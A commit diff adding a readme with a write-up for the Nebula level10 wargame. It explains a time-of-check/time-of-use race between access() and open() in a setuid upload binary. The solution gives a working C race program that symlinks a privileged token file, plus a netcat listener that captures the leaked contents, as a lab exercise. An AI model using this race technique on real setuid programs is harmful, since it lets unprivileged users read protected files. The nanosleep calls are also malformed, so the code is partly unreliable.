Commit dc691e3
Changed files (1)
exploit_exercises
nebula
level10
exploit_exercises/nebula/level10/readme.md
@@ -1,12 +1,14 @@
+# Nebula - Level10 - Upload
-----------------------------------------------
-
-About
-Source code
+## About
The setuid binary at /home/flag10/flag10 binary will upload any file given,
as long as it meets the requirements of the access() system call.
To do this level, log in as the level10 account with the password
level10. Files for this level can be found in /home/flag10.
+
+## Source code
+
+```
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
@@ -80,3 +82,59 @@ int main(int argc, char **argv)
printf("You don't have access to %s\n", file);
}
}
+```
+
+## Solution
+
+This program has a race condition from the use of the [`access()`](http://stackoverflow.com/a/14333217)
+system call prior to actually calling the `open()` call. Instead of racing the program by hand, create
+a program to randomly select an interval in which to attempt a race[[1](http://resources.infosecinstitute.com/race-condition-toctou-vulnerability-lab/)]. Note that this does require
+that the `nosuid` option is NOT set on a mounted file system. Use `nc -lk 18211 > output.txt` to
+save the outputs from the attempted connections. Execute the race program with
+`./<program name> > pOutput.txt`.
+
+```
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+/*usage: ./prog <file to link>*/
+int main(int argc, char** argv){
+ // create array for CLI args
+ char* const linkFile[3] = {"flag10", "/home/level10/token", "127.0.0.1"};
+ FILE* fp = 0;
+ while (1){
+ // remove the link from the previous loop
+ unlink(linkFile[1]);
+ // recreate the file to prevent an access error
+ fp = fopen(linkFile[1], "w");
+ fprintf(fp, "%s", "");
+ fclose(fp);
+ // randomize the sleeping value
+ // this allows to randomly exploit a race condition
+ // this value is dependent on hardware, system load, and
+ // several other factors
+ int sleepVal = rand() % 20;
+ int childpid = fork();
+ // this is the new process
+ if (childpid == 0){
+ nanosleep(sleepVal);
+ // system() allows us not to need the array
+ system("/home/flag10/flag10 /home/level10/token 127.0.0.1");
+ //execv("/home/flag10/flag10", linkFile);
+ return 0;
+ // an error occurred
+ } else if (childpid < 0) {
+ sleep(1);
+ // race to change to the file to a link between the time access() is
+ // called and the time open() is called
+ } else {
+ symlink("/home/flag10/token", linkFile[1]);
+ }
+ // try not to overload the system,
+ // and allow the vulnerable program to read the link
+ nanosleep(500);
+ }
+ return 0;
+}
+```